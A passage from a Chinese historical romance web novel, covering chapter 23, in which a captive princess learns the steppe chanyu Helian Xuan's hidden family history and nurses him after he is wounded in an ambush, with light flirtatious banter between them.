玛茹看到她,又想起春月节那晚看到的场面。她心里明白,所有男人有了妾室,少不得亲密举动,可是亲眼看到赫连煊那般行径,她还是忍不住难受,回家哭了三天三夜。好不容易压制下去的酸涩,此刻加倍反扑。
玛茹追到药房中,见穆凝姝坐在桌边整理药包,道:“别以为你现在跟表哥浓情蜜意,就有多了不起。他除了跟你玩玩浅薄的男欢女爱,不会再有其他。我表哥向来胸怀大志,你对他一无所知,你只是他一时兴起的消遣。”
说来说去,就这几句陈词滥调,对穆凝姝的攻击力为零。她继续弄手里的东西。虽有御医可用,但她喜欢做这些。
玛茹太抬举她了。赫连大表哥和她之间,哪有什么浅薄的男欢女爱,玛茹自己太想得到这份浅薄,才总脑补她和赫连煊恩恩爱爱。但她肯定不会直白告诉玛茹,庸人喜欢自扰之,便多扰扰。
不过有一事玛茹说得很对,她对赫连煊一无所知。
送上门的情报,她还挺想听一听,闲着也是闲着。
玛茹虽坏,归根究底只是个娇惯长大的富家千金,心机十分有限,加之脾气冲动,穆凝姝三言两语激几下,她为彰显自己跟表哥关系亲密,什么都往外说。
穆凝姝丝毫不打断,专注于药包,她越不理,玛茹说得越起劲。
一口气说完旧事,玛茹口干舌燥,喝口水后才反应过来大事不妙。为逞一时之快,竟白白便宜了姜国蠕蠕。而且,说了许多不该说的,若是赫连煊知晓,搞不好会骂她。
“要是你敢乱说就死定了。”玛茹强装镇定,慌乱威胁穆凝姝一顿。
穆凝姝依然一副平淡模样,装好药包,不多理睬,往回走去。
方才她装作不在意,实则将玛茹的话听了个仔细,很多内情跟她之前设想的,迥然不同。玛茹说得凌乱,三句正经话里夹两句骂她的,她需要时间捋一捋。
心不在焉走着,止步时,竟到了赫连煊住处。
她本想回自己毡帐,但来他住处来惯了,一走神,无意中自发走上这条路。
阿香来王帐中拿她落下的糖罐子,见她过来,还一副魂不守舍模样,打趣道:“单于才离开三天,阏氏就这么思念他?”
穆凝姝没说话,阿香以为她是害羞,又笑道:“单于俊美英勇,赫连部女子都喜欢他,他却只宠您一个,您想时时刻刻黏着他,再正常不过。可惜这回风寒,他不能像上次那样亲自照顾你。”
穆凝姝疑惑抬眼,“单于亲自照顾过我?”
23-30
第23章 第 23 章 23破碎
见穆凝姝眼中疑问真心实意, 阿香明白过来:凝姝阏氏烧得太厉害,把病中那些事儿全忘了。
阿香越发佩服穆凝姝——要有多么稳扎稳打的基础,才能在烧昏头的情况下,还将单于吃得死死的啊!
她的主子, 太能干了。她的前途, 一片光明。
阿香告诉穆凝姝自己知晓的部分:“单于亲自在帐中照顾您, 没留下人们在里头, 因此具体情形,奴婢并不清楚。但隐约听到,您跟他闹腾撒娇,要他喂药,他都一一迁就, 还让奴婢把奏折搬到床边供他批阅, 因为——”
穆凝姝越听越忐忑,抖声道:“因为什么?”
阿香捂嘴笑,搂住她的腰,重现当时场景,“因为当时阏氏您就像这样,抱着单于的腰,躺在他怀里睡觉呀。单于舍不得惊动你,直到札木尔跑来叫走了他, 札木尔可真烦人……哎呀,您怎么跌地上了!是不是风寒加重,开始打寒颤?这可不得了。”
“我没事——没事……”穆凝姝摸着床边爬起来, 战战巍巍坐稳当。
阿香让其他侍女盯着点,自己跑去请御医。若是阏氏身子出丝毫差错,单于回来定会重罚。
侍女送来汤婆子, 穆凝姝呆呆抱住。
阿香描述的片段,跟她梦里的情形,全都能对上。
这么说来,梦中她闹着要他喂药,威胁他不听话就揍他,以及对他喉咙连摸带咬……全是真的。
不是梦。
今天先有玛茹,再有阿香。
一时之间,收到的信息太多,冲击过大,她脑子晕晕乎乎。
* * *
从玛茹所说的零散碎片里,穆凝姝拼凑出赫连煊的真实身世。
赫连煊不是赫连天雄的亲生儿子,按照亲缘,他应当喊赫连天雄一声“叔父”。
他亲生父亲名叫赫连天云,是赫连部上上任大单于,母亲名唤耶律槿,为王后阏氏。夫妻感情很好。
然而赫连天雄,弑兄夺位,强占长嫂。
那年,赫连煊五岁,按照草原传统,比车轮高的孩子,一律处死。
耶律槿苦苦哀求,赫连天雄才留下赫连煊的命。她厌恶赫连天雄,但为了孩子,不得不屈从。有时赫连天雄发狂发怒,耶律槿就将赫连煊送去耶律部,托亲哥和嫂嫂,也就是玛茹父母,保护照顾。
儿时的赫连煊因身世复杂,性子孤僻,没什么朋友,的确和玛茹常在一处。
赫连煊对赫连天雄伏低做小,隐忍忠顺,慢慢长大。
草原部落文化粗犷,不像中原国家那般设置史官,记载君王德行。胜者为王,败者连名姓都难流传下来。
弑兄夺嫂,放诸天下都是丑闻,在赫连天雄刻意掩埋下,这段罪恶,仿佛从未存在过。知晓赫连煊的身世的人,越来越少。
赫连天雄子女缘稀薄,只有赫连涛一个亲儿子,纨绔不成器,他便干脆立赫连煊为太子,替自己出生入死——赫连煊这把刀,着实太好用,即使他不喜欢。
反正赫连煊家变时年岁小,记不得事,十几年来都对他恭敬顺从,嫩刀子一个,掀不起风浪。而且他手里还有耶律槿当人质。赫连天雄盘算着,区区小儿,待日后用完再卸磨杀驴也不迟,将王位给赫连涛。
不料赫连煊下手迅猛突然,复仇反噬。
* * *
年幼四处飘荡时,穆凝姝见过许多三教九流。
其中,最有趣的,当属相面的术士。
都是出来混口饭吃,没生意时,大人们凑在一块儿说笑,喜欢找来各种画像,或随意指个过路人,让术士猜猜是好人还是坏人。
术士拿着个画像装模作样,说一看就是个坏人,穆凝姝便觉,此人哪哪儿都不对劲,肥头大耳,贼眉鼠眼。
知情者嘲笑术士看不准,画像上的人其实是远近闻名的大善人,这画像是乡亲们凑钱画来给他集福用的。
这般一翻转,穆凝姝又觉,这人怎么看怎么和善,只是眉眼生得丑点儿罢了,但有股子正气。
还有把通缉犯错认成好人;硬说良家女子眼角眉梢带骚气;和善文弱书生竟是人贩子,专门做拐女人的买卖。
人还是那副皮相,但知其根底后,对其观感便截然不同。
她一直以为,赫连煊是个弑父弑君的暴徒,他显露出的任何好意,她都会不由自主揣测为演技。
在他身边的这段时间,无论她看上多适应多淡定,她内心深处,总是害怕着他。
在大众视角和风评中,赫连天雄对赫连煊很好,宽厚慈爱,重视信任。
一个连亲生父亲都杀的人,再好又能好到哪里去?
赫连煊眼睛生得极好看,但难掩凛冽高冷。
薄唇,则意味着薄情寡恩,适合他的气质和行事。
在他不在意的纵容下,她控制不住地亲近他,也控制不住地畏惧他。或许有朝一日触怒他后,迎来自己的悲惨结局。
在说书先生一声又一声的惊堂木中,穆凝姝从小有点英雄情结。
现在得知内情隐秘,嗜杀恶徒竟是落难王子,再回看这些偏见,甚是汗颜。
幼年失怙,母亲屈于仇人,生来本是金枝玉叶的太子殿下,一夕之间遭难,跌落深渊。
那年赫连煊才五岁。
哪有什么弑父弑君,分明是孤胆小朋友卧薪尝胆,同态复仇,成功夺回失去的一切。
若是她置身于同等绝境中,肯定做不到他这样厉害。
……可这么厉害的大单于,居然让烧得稀里糊涂的她给欺负作弄了。
也说不上欺负。
英雄和枭雄区别在于立场,而非能力,赫连煊一拳能砸死十个她。
应当是,他让着她。
他当真以为,她是个娇滴滴的公主,才不同她计较。
春月节时的意外,亦是如此。
夫君推开索吻的妾室,怎么看都非常伤人自尊。
虽说是赫连煊会错意,但他愿意给予她一份体面,亲吻她——对于上位者而言,已属难得。她名义上是他阏氏,亲不亲的,全看他心情。
回想起来,赫连煊一直挺照顾她颜面。
无论她是睡觉时冒犯他,以为是梦而胡闹折腾,还是春月节的误会。
在宫里当差时,偶尔得闲,嬷嬷丫头们常凑在一块儿,边做女红边闲聊,说起入宫前的各种见闻。
女儿家,入不得学堂,囿于锅碗瓢盆,除却交流下女红技术与心得,翻来覆去也就说说男女间的琐碎。
从前谁谁家的老汉不是东西,一不高兴就把老婆打个半死。哪家夫君跟人赌钱,输得负债累累,把老婆孩子卖掉抵债。
诸如此类,数不胜数。
在一众小丫头的哀怨悲叹中,有个年长宫女说了句话。
不知怎的,时至今日,穆凝姝还记得特别清楚:
“要嫁给本身就很好的人,而不是对你好的人。”
这句话放在她和赫连煊之间,一点都不合适。
他只是机缘巧合之下,收继她为妾,而非主动选择。
即使如此,他对她称得上善待。越发证明年长宫女的话没错。
暂时的对你好,可能是一时兴起,可能是别有用心,但凡生变,难以为继。
而本来就很好的人,自有底线,面对不喜欢的妻妾,也许会冷落无视,却不至于施暴残害。
穆凝姝恍然大悟。
姜宫有个姓孙的嬷嬷,那会儿她在人家手底下做事。孙嬷嬷恨铁不成钢,常骂她迟钝笨肚畅,不似其他丫头有颗玲珑心,善于察言观色。所以即使她在一众宫女中,手艺最好,干活儿勤奋,混来混去都混不出头。
现在看,几经磨砺后,她的识人能力有了大幅提升。
难怪她控制不住地靠近赫连煊。
套话玛茹前,她虽不知他身世,但大概莫名感觉,他的底色里,没有暴虐。
她甚至不需要思考,全凭感觉就能蒙对。
孙嬷嬷算哪块小饼干。
以后谁还敢说她穆凝姝迟钝?穆凝姝可太敏锐了。
帐中进来人。
御医替穆凝姝问诊。阿香则去清点她落在帐中的话本和零食,以及小可爱的狗窝和玩具。这些都要搬去阏氏毡帐。
穆凝姝道:“阿香,不用收了。反正单于不在,我住几天也不碍事吧。”
昨夜她没睡好。
她毡帐中没有兽金炭,没有她熟悉的松枝清香。
乌琪说得没错,赫连煊惯坏了她。
两个月前,她躺在干草堆上,都能一觉睡到天明。两个月后,她成为了自己最看不上的矫情贵妇。
她决定泡个热水澡,躺赫连煊床上好好反思反思。
这一反思,大半个月过去。
该反思的东西没见成功,在泡澡一事上,穆凝姝倒是反思出心得来。泡澡前涂点芍药精油,泡完后再趁热图一次,肌肤润泽。精油比香膏轻薄,按揉吸收后,一点儿都不黏腻,她更喜欢。
小可爱身量长大了点儿,可以自己吃东西,她给它重新布置了新狗窝,增添专用饭碗一只。
王帐住得跟回家似的,她自己的阏氏毡帐反倒没临幸几次。
* * *
夜深人静,单于毡帐外喧哗吵闹。
穆凝姝迷迷糊糊把脑袋埋进被子里,继续呼呼大睡。
烦人的吵闹不仅不停,反倒越闹越大,还越来越近。
“到底是谁呀,这么烦人——”
刚被吵醒鼻音浓重,嗓音又生得绵柔,凶人的话说得毫无气势。
她支棱身子坐起来,揉揉眼睛,朝门口看去。
乌泱泱一群人,还全是男人,竟出现在毡帐中,眼神同她对上。
穆凝姝吓得瞌睡全消,差点高喊“刺客”之际,看到了为首的老熟人,札木尔。
他浑身是血。
札木尔见怪不怪,自家单于别说寝帐,连库房都快成了这公主的私产。他身后那群壮汉们,却是个个嘴张得能塞下一整颗咸鸭蛋,眼睛发直。
这是单于毡帐没错吧。
单于不在,怎会有女人私自住在他帐中,还是个中原人。早有耳闻单于近来宠爱一姜国公主,今日得见,姜国亡我之心不浅。
这么明显的美人计,美得这么明显。
小美人睡眼惺忪,衣衫不整,长发垂在床榻上,积若乌云,本该万分妖媚,偏偏她怀里搂着只小狗崽,眼神惊异又清澈。
单于喜欢这样的?旋即又自答:……是个男人都喜欢!
虚假的美人计:妖艳奸妃高喊单于快来抓我呀。
真实的美人计:清纯小公主坐床上抱只小狗,懵懂天真。
要是再哭一哭……啊,她要什么全给她。
谁能给他们安排个美人计,好想上钩啊。
札木尔发觉周围众人皆屏息凝神,直勾勾看向穆凝姝,喝道:“看什么看!都滚出去。”又连忙指挥侍女们:“你们赶紧伺候阏氏穿衣裳。”
壮汉们被骂醒,连忙低眉垂眼,将护送的担架放下,匆匆离去。
穆凝姝迅速穿好衣裳,回来一看,赫连煊已被挪到床上。
他双眼紧闭,面色苍白。
左肩膀到左胸处,赫然一长条刀痕,血肉外翻。
军医和御医们齐聚此处,忙前忙后,紧锣密鼓救治,止血压伤口。
穆凝姝心绪紧张,“单于这是——”
札木尔速答道:“回来路上遇袭,幸亏单于反应快,侧身躲开致命一击,否则伤到心脏,恐怕——”
他闭口不言,不说丧气话,转话道:“我们医药用品已在战场上耗尽,好在离王庭近,赶了回来。”
见札木尔手臂和脸上好几处刀口,尚在流血,穆凝姝道:“你不是大夫,白白等在这里也没用,先去处理伤口。我在这儿看着单于,有什么事我会马上叫你。札木尔,你是单于的左膀右臂,得尽快养伤才能继续帮他做事。”
札木尔愣了下,“多谢阏氏。那……劳烦您。”没想到这公主平时娇里娇气,安排事情还挺有条理,也没一见血便哭哭啼啼。
他不多推辞,去一旁让御医处理伤处。
赫连煊忽然一阵猛咳,口中涌出鲜红。
穆凝姝怕他呛到,赶紧拿块干净白布铺在自己腿上,将他的头枕在上面,微微抬高些,单手轻轻扣住他双颊,让他张口,以便吐出淤血。
另一手拿起帕子,帮他擦去嘴角残血。
“阏氏竟会做这些?”老军医惊异于她的胆大心细和娴熟手法。
穆凝姝含含糊糊道:“唔,还好还好,只是略懂一二。”
都是在牧场动物们身上练出来的。
她不敢说,怕正规大夫们质疑她。
让个兽医看顾金贵的大单于,过分了啊。
老军医夸赞道:“阏氏谦虚啦,手法真不错。劳您再多辛苦会儿,清理单于口中血液。”
穆凝姝应下。
老军医又叫来两个大块头,一左一右压制住赫连煊,拿起一碗烈酒倒在他伤口上。
痛得赫连煊从昏迷中惊醒。
他缓缓睁开眼。
她的清丽面容,从模糊,逐渐变得清晰。
赫连煊怔怔凝望她。
忽然叹口气,闭上眼。
好几次濒临死亡时,他都看到她的幻影。
是幻影,注定消散。
穆凝姝:“……”
毫不犹豫叹气闭眼是什么意思!
就这么不想看到她吗?
尊重一下正在照顾他的贴心……小兽医好不好。
兽医也是医。可以不爱,但请不要伤害。
老军医缝合伤口,见状急切道:“阏氏,您跟单于说说话,别让他昏过去。快弄醒他。”
可人家大单于完全一副不想跟她说话的样子嘛。
穆凝姝心中为难。
她怕碰到赫连煊痛处,双手小心翼翼,放在他两侧太阳穴,轻轻按揉摇晃,低声喊道:“单于……单于别睡,醒醒……赫连煊,你别睡,醒来跟我说说话——”
他猛然睁眼,眸光清冽,好似全然清醒了过来。
吓她一跳。
“穆凝姝。”他道。
她呆愣道:“啊?我是。”
忽然叫人全名干嘛,怪吓人的,像要骂人的前奏。
但凡她被人叫全名,从来没有好事。
印象中,赫连煊一直叫她公主,从没叫过名字。她还以为,他压根忘了她姓甚名谁。
他抬起没伤的右手,抚上她侧脸。
手掌冰凉湿冷,不是从前一惯的温暖干燥。
是因为失血过多,意识不清吗?
所以摸一摸确认环境?
防备心是真的重。
穆凝姝握住他的右手,道:“单于,这里是王帐,你回家了呀。”
回家。
他觉得这个说法很新奇。
好多年没听到过。
“公主。”他再次出声。
穆凝姝:“嗯?”
怎么又叫她呢?
她的双眼忽然被他以手覆住。
“别看。小心又做噩梦。”
他声音异常沙哑虚弱,前所未有。
穆凝姝眨了眨眼,他居然还记得做噩梦的事,意识应当挺清醒。
清醒就好。
她拉下他的手,朝他道:“我才不会那么没用。上回是特殊情况。”
小气鬼,还在记仇,定是怕她又说梦话闹他。
老军医拿来针线,以烈酒泡过,缝合赫连煊皮开肉绽的伤处。
冷白银针穿过血肉,发生轻微的噗嗤声。
看得穆凝姝双腿发酸,皮肤幻疼。
上回是雅曼,这回是他,她什么好运气,总能离得最近,看得最清。
鲜红血液汩汩冒出,渗红她方才铺好的白布。
赫连煊却没什么动静,下颌处微微鼓起,硬是没哼一声。
性子真够倔。
她握住他的手,道:“你别强撑啊。太疼了就捏我的手吧,或者喊出声。”
他还是没动静,只是浅浅反握住她的手,并没用力。
是完全没力气了吗?
流过那么多血,手似乎比方才更凉了些。
穆凝姝想起来,道:“对了,我那里有千年血参,我现在就让札木尔去拿——”
话音未落,她笑容消失,望着腿上的赫连煊,心脏忽然一滞。
她轻声道:“对不起。”
赫连煊:“公主又没做错事,为何道歉?”
穆凝姝闷声道:“血参我给雅曼用掉了。”
一时之间,竟忘记此事。
伤口针线拉扯了下,赫连煊闷哼一声,道:“无所谓。孤好好的,用不上。”
“都伤成这样了,哪有好好的。你的血参……本来可以用。”她声音越说越小。
心底说不上后悔,毕竟雅曼当时的情况,容不得耽误。但看他现下模样,她难免难受。
那只血参,原本属于他。
赫连煊却不以为意,仿佛血参与己无关,语气同平日一样平淡自然,道:“孤既然赐予公主,就是公主的。你拿去喂马还是喂雅曼,都是你的自由。公主,这是你的原话,孤认同,也不觉得还有讨论血参归属的必要。”
他知道她向来怜弱,看到任何人或动物的惨状,便忍不住心软救助。
她平时害怕他。
他亦感觉得到。
春月节那晚,他没忍住。她的惊恐慌乱,显而易见。
他仍是放任了自我,变本加厉。
在她眼中,他同她才刚认识没多久。
还是太快了。
太唐突。
中原规矩多,他以为她必得气上一阵,不承想,今夜他还能有这番好待遇。
她终究是心太软。
赫连煊抬手,指尖轻抚过她微微发红的眼角,语气桀骜:“怕什么。孤死不了。一点小伤而已。从前受的伤比这更重,照样没事。”
穆凝姝没再应话,默默照着老军医的指示,帮他擦去嘴角血迹。
伤口缝合完毕。
老军医将两人的对话听了个全。
这还是他那寡言少语、暴躁干人的大单于吗?
他跟着赫连煊征战四方,就没见过他这副有问必答的和气模样。
近臣皆知,赫连煊是出了名的不好说话,只论功绩不论人,哪有闲心跟人叽叽歪歪。
还摸人家小姑娘的脸……不久前,他才用这只手拧断了敌军主将的脖子。
老军医心里吐槽个遍,却很有职业素养地装聋作哑,贴心给穆凝姝示范如何换药。严谨提议:“大单于的伤口已处理好,之后只要注意养护即可。老臣看凝姝阏氏心灵手巧,比医帐中那些人细致得多,不如就劳烦阏氏照顾下大单于。您常伴左右,最知晓他的习惯。”
穆凝姝自是应下,认真跟老军医请教相关问题,拿纸笔一一记下。
末了,老军医清下嗓子,面带犹豫:“还有一事,阏氏务必注意……”
穆凝姝翻开小本本的新一页,捏好笔,学习态度端正,肃然道:“您请说。”
根据她多年学习经验,留到最后讲授的,必定是重中之重。
老军医叮嘱道:“这个……俗话说,小别胜新婚。但如今这情况,单于失血过多,得好好休养,最好暂时不要同您太亲近。单于正值壮年,阏氏素来受宠,懂的都懂。他若是忍不住,您且哄劝着些,不能由着他胡来。”
穆凝姝手里的笔一抖,掉在地上。
这、这些人脑子里都装着些什么。
她和赫连煊压根就没有过。
即使有,这种情况下,她怎么可能跟他做这种事。
真把她视为祸水妖姬了,她若有这等本事,何至于在两任前夫手下当那么久女奴。
她连忙捡起笔,除了连声说“好”,也不知还能回应什么。干脆抵上脸皮,一通顺从敷衍,将老军医送走了事。
帐中人员陆陆续续散去,王帐外的值班帐中,留有御医看守。
王帐入口处有个小小的隔间,专供小阏氏值夜用。因赫连煊从未让小阏氏进来,那隔间一直空闲着。
穆凝姝让侍女们把隔间里的小榻搬到床边。
赫连煊身上有伤,她睡相不好,怕碰到他伤处。
见她忙着整理小榻,赫连煊道:“这张床足够睡下七八个人,用不着费事。”
穆凝姝道:“还是稳妥些好。我夜里胡乱滚,别说七八人的床,恐怕大通铺我都能滚过去。”她低声喃喃自语,“好可惜,多少年练出的规矩,说废就废……”
赫连煊心知肚明自己做的事,转而道:“孤有点冷。”
穆凝姝铺好小榻,坐到他床旁,给他加床被子,道:“我让侍女去拿汤婆子了,等会儿就来。”
“她们做事太慢。”赫连煊想起方才缝针时,她一直握住他的手。他抬起手,朝向她,明示她该做什么。
他的手苍白修长。
灯火映照下,在墙上投出道影子,恰好将她拢在掌中。
这双手给过她不同触感。
温暖的,干燥的。以及这一次罕见的,冰凉与潮湿。
但她的手,总是冰冰的,算不得暖手佳品。
穆凝姝下榻,哒哒跑向床尾狗窝,抱起呼呼大睡的小可爱,盖在赫连煊手上,朝他热情推荐持久发热暖手宝:“小可爱超级暖和,软乎乎。大单于,现在好点儿吗?”
赫连煊:“……好像又不冷了。”
穆凝姝塞狗进他被窝,大方道:“没事,暖一暖促进血液流通,总没坏处。小可爱跟我睡惯了,可乖啦,不吵不闹,超好摸。”
赫连煊:“……”
* * *
传说女娲抟土造人,起初亲手捏小人儿,后来嫌效率太低,捡起个藤条往泥水池子中飞舞,溅出来的泥点子就能化作人形。
穆凝姝认为,此故事必有缺失。
女娲造人时,应当还使用了不同材料。不然她无法理解,赫连煊在受这么重的伤后,仅仅躺了两天,第三天起,就能开始处理政务。
泥点子绝对不行,他至少得是烧成铁水的钢铁点子溅出来的。
此时此刻,钢铁点子正在听属下汇报各项事务,时不时吩咐或点评几句,话语简洁,语气也平平淡淡,却难掩其威压。
来禀报的草原猛男,脑门儿上细细密密全是汗,待奏事完毕,迫不及待退场。下一个候在外面的臣子进来,继续重演这一出。
等全部臣子奏事结束,赫连煊阖上眼,靠在躺椅中休憩。
穆凝姝掩在屏风后看他。
平时赫连煊常穿箭袖衣袍,以皮质护腕拢袖口。现在因伤口在身,穿衣不易,他便松松垮垮披上件衣裳,宽袍阔袖,款式接近中原意味。
头上也省去了红珊瑚珠链,茶褐色长发随意披散着,垂落在胸前。
皮肤因失血而略显苍白,唇色不如先前红润,身上肌肤,亦是白得能看到青蓝色经脉,左肩到胸膛的伤痕颇为骇人。因此时闭着眼,锋芒不显。整个人透着股脆弱。
但再往下,腹肌块状分明,轮廓清晰。
一看就知,这人跟文弱无关。
他只是长了张骗人的脸。
“公主还要偷看到几时?”赫连煊忽然开口,眼睛仍然阖着。
穆凝姝状若无事,从屏风后走出来,道:“我哪有偷看,明明是光明正大地看。你要是醒了,我得给你换药。再说,你要是没偷看我,怎么知道我在看你?”
随便找个歪理支持下嘴硬。
赫连煊抬眼朝她看去,“你说得对,孤的确在偷看。”
她没想到他会直白承认。
赫连煊道:“公主一直躲在屏风后,孤不明白为何。”
穆凝姝吩咐侍女取来药膏和棉纱,道:“避嫌啊。那些人是外臣,我身为妃嫔,自然要避着些。”
他微微勾出点笑意,“哦,公主的意思是,你只给孤看。”
穆凝姝:“……”
他怎么理解的。
说得好似她对他意图不轨。
不过想想,她病中那会儿调戏他……她发自内心抗拒“调戏”一词,但思来想去,咬人脖子,躺人家腿上摸喉结,无论在生活中,还是在话本里,都得归类为典型的调戏行径。
再加上春月夜的暗示误解,她在他心里,妥妥一女狂徒。
好好的中原淑女,被她作成狂徒,她也很无奈。
穆凝姝心中思绪万千,脸上却不显,越是这种时候,越是不能露出任何尴尬。
她接过侍女手里的东西,拿到赫连煊处,端庄稳重:“我毕竟来自姜国人,听到你们议政,不太妥当。我很懂事。”
然后,她毫不做作地露出点儿惊讶,眼神清澈,“至于单于的推测……你想到哪里去了呀。”趁机解释下那个梦,“我们之间,大抵有些误会,那时候我烧糊涂了,行事荒谬,不能当真。本公主着实是个正经人。”
她胡说八道时,越正经越好笑。赫连煊笑而不语,一伸手将她拽到自己腿上坐着,“行。公主既然是正经人,那就正正经经给孤上药。”
穆凝姝抿唇,道:“首先,就你这姿势最不正经吧。”
她挣扎着想下去,却被按住。
也不知赫连煊都伤成这样了,哪里来的力气。
赫连煊面不改色,谆谆善诱,“俗话说,心正不怕影子斜。这是孤特意为你制定的考验。”
穆凝姝无语:“……是身正不怕影子斜吧。我们这身也不正啊。罢了罢了,你开心就好。”
她算是看出来了,赫连煊要养伤,不能出帐骑马打猎,闲得发闷,拿她逗趣呢。
她不再挣扎,故意狠狠坐下去,妄图拿体重压他个扎实。
然而赫连煊不动如山,奸计未能得逞。
穆凝姝没力气折腾,认输乖乖替他换药。不过坐在他腿上,换起药来确实方便。之前在侧边,歪着身子给他换,没一会儿就腰疼。
伤口处血迹干涸,皮肉与棉纱沾黏在一起。
她拿药水泡软沾血的棉纱,一点一点撕下来,小心翼翼问他:“疼吗?”
这点疼,根本不算什么,战场上更重的伤也受过,有时候缺医少药,伤口来不及处理而溃烂,比这疼上百倍,他早已习惯。
但他神使鬼差间,哑声应道:“嗯。”
她跪在他两侧的腿往前蹭蹭,同他上半身更近了些,前倾低头,朝他伤口处轻轻吹气,手中动作越发轻柔,道:“那我再轻些,你忍忍,难免有点儿疼。”
连带着声音都绵软许多,仿佛这样也能减缓疼痛。
他眼眸暗沉,右手抬起,正待扣住她后颈之际,伤口突然剧痛,血珠渗出。
穆凝姝担心道:“又弄疼了吗?”
她已经很小心了。但棉纱和皮□□线黏得太紧,难免撕扯到。
虽然觉得赫连煊不至于因这点事喊打喊杀,但骂她一顿还是很可能的。
人身体不舒服时,心情本就不好。
刚才观摩大半天他跟大臣们议政,那种不怒而威的架势,尤其是大臣们做事做得不得他心时,整个毡帐都感觉冷了几分,看着挺吓人。
赫连煊的手在空中悬停一会儿,改落到她额上,轻轻揉了揉她的碎发,“还好。慢慢来,不着急。”
慢慢来,不着急。
对她说,也是对他自己说。
不知怎的,穆凝姝心头咚咚直跳。赫连煊明明没骂她,声音也一点儿都不凶。她却觉得,竟然比被最凶的管事骂时,心跳更快。
很奇怪的感觉。
她目光低垂,看到他胸口和腰腹处的旧伤疤痕。
有些颜色深,有些特别浅,跟皮肤色差很小,至少得是十多年留下的。
十几年前,那时候,他才几岁吧。
她脑海中浮现出一个小小的五岁孩童,孤零零行走在无垠荒原间。
伤疤并不会随着身体长大而变大,这些痕迹放在小孩身躯上,绵长恐怖,没死算他命大。
不由得心软软。
他说不痛,让她别着急。
但伤口客观如此,必定痛得厉害却又放不下面子。
故作坚强,更招人怜爱了。
穆凝姝稳住表情,调整坐姿,继续拆棉纱,柔声道:“那我尽量更轻点儿。若是再疼,你就叫停,我去请御医过来。”
他从未跟她提及过小时候的事,她自是不会主动说起。
赫连煊神情悠哉,道:“行。”
那些人的手,可比她重得多。尤其是军医,只讲死不死,哪管疼不疼。
他全程一声不吭,连眉头都没皱下。
棉纱顺利拆下,伤口再没出血。
穆凝姝给他清理干净患处,重新上药。
“表哥——我来看你啦!”
玛茹一进王帐,只见赫连煊赤着上半身,穆凝姝跪坐在他身上。
他的手臂,揽在她腰后,是个保护的姿势。
玛茹面红耳赤,惊得说不出话来,“你、你们——他都伤成这样了,你居然敢……”
“我在帮单于上药。”穆凝姝从赫连煊身上爬下来,满脸正经。
不小心绊了下,护在腰间的手臂将她稳稳托住,姿势越发亲密。
穆凝姝心如死灰:“真的只在上药。”
绝对没有白日宣淫。
干嘛都爱往歪了想。
她长着一张妖艳祸水脸吗?
这是歧视,是偏见。
论起妖艳,躺着的那个才更妖里妖气。
尤其是受伤后。
若不知晓他性格为人,一眼看去,全然一股随意任人蹂躏的破碎感。
玛茹愣住好一会儿,才注意到赫连煊处理一半的伤处,以及旁边更换的染血棉纱,顿时松口气。
赫连煊伸手拿过一旁的紫貂外袍,搭在身上,盖住腰腹以下,才问玛茹道:“你来做什么?”
玛茹拉张凳子坐到他身旁,“阿爹阿娘说要来看你。我说来的人太多会打扰到你,就让他们别来,我一个人代着来看看你。表哥,你回来了也不跟家里说声,我们才收到消息。”
说着,玛茹眼里落下泪来,哭道:“怎么伤得这样重。”随手扯过躺椅扶手上的帕子擦眼泪。
穆凝姝:“……”哭得挺好挺响亮,但那是我的帕子,求放过。
赫连煊拿过桌上杯子饮茶,道:“你收收眼泪,孤又没死。回头再被你吵死。”
“表哥,你——你说话真不中听。我是关心你,除了自家人真心实意,外人谁还能为你哭。”玛茹被赫连煊一句话说得越发难受,瞥眼望向穆凝姝,“凝姝阏氏,劳烦您照顾表哥,辛苦了。我有话想跟表哥说,您且去外面休息会儿。可以吗?”
“当然。单于,我先行告退。”穆凝姝朝外走去,路过正与玩具大战八百回合的小狗崽时,轻轻踢它一脚,“小可爱,我们出去玩儿。”
难得空闲,她带小可爱去马场放风。
小马驹见她过来,兴奋得拱她腰,对地上一丁点儿大的小可爱颇为好奇,闻闻嗅嗅。两只小朋友很快熟悉起来。
阳光下,小马驹和小可爱追来闹去,玩得不亦乐乎。小马驹仗着身量大欺负小狗崽,一只蹄子按住它,还啃它脑袋上的绒毛,小可爱奶凶奶凶的,努力反抗无效,哼哼唧唧朝穆凝姝哭。
她过去救下小可爱,给小马驹一个暴栗。赫连煊教得对,驯马,该揍还是得揍,揍完眼神立马清澈。
想到他……话说,她直接走人,是不是不太仗义啊。
赫连煊那副样儿……说实话,咳,虽然她绝非他以为的登徒子,对男色也没兴趣,但平心而论,单于着实貌美。
说句残忍的话,他伤的位置挺巧妙,有种凌虐美感。
血痕穿过宽肩到紧实胸膛,与浅麦色肌肤对比鲜明。
比他没受伤时更勾人。
他平时太强大,令人望而却步。
现在,神像有了裂痕,绝对强者变得脆弱,格外能激起仰望者亵渎的欲望。
玛茹对赫连煊觊觎已久,会不会趁火打劫呀。
现在他有伤在身,那么脆弱易推倒。
玛茹可不是娇滴滴的公主,有得是力气和手段。
就像小马驹和小可爱刚才那样。
危险性极大,可能性极高。
若是换成个赫连煊喜欢的女子,顺水推舟便也罢了。
可赫连煊明确说过,他不喜欢玛茹,不想招惹这份麻烦。方才他还披衣裳来着。
他在她面前从没那么讲究过,对草原土著玛茹有这个必要吗?可见是受伤变得弱小后,心理安全感不足。
感觉床搭子亟待拯救。
这段时间,他对她挺不错,她向来知恩图报。
但万一,赫连煊也有点儿这个意思呢?
他之前示好乌琪,后来却跟没事人一样。说不定受伤之下,心灵脆弱,被玛茹的深情打动,勾着勾着半推半就?
毕竟是个男人。
他要是真不愿意,喊上一嗓子,门外侍卫们自会护驾。
确实怎么都轮不上她去救。
从来只听说后妃给皇帝送人,哪有帮忙赶人的,宫廷出身的公主,得大气上档次,切忌稀里糊涂惹上善妒坏名声。
念此,穆凝姝吹口哨唤来银霜,骑马遛弯,加入小马驹和小可爱的追逐战。
她骑术进步许多。
直至太阳西沉,到了晚膳时间,穆凝姝才回去。
恰好遇到送晚膳的侍女们,她拦住众人,让阿香先进去通传下。
一溜人贸然进去,若碰到不堪入目的画面,那可不太妙。
* * *
毡帐中,赫连煊独自坐在桌后,提笔批阅奏章。
穆凝姝双手掌住屏风,探出半个脑袋,道:“晚膳送来了,单于要用吗?”
他抬眼淡淡一瞥,落笔起身,走到饭桌旁。
不多时,她缓缓朝他过来,走姿优雅轻巧。
像只猫。
动作像,性子更像。
主动戳一下就跑;放任由她去,她就暗中观察,试探着凑过来蹭吃蹭喝,没心没肺。
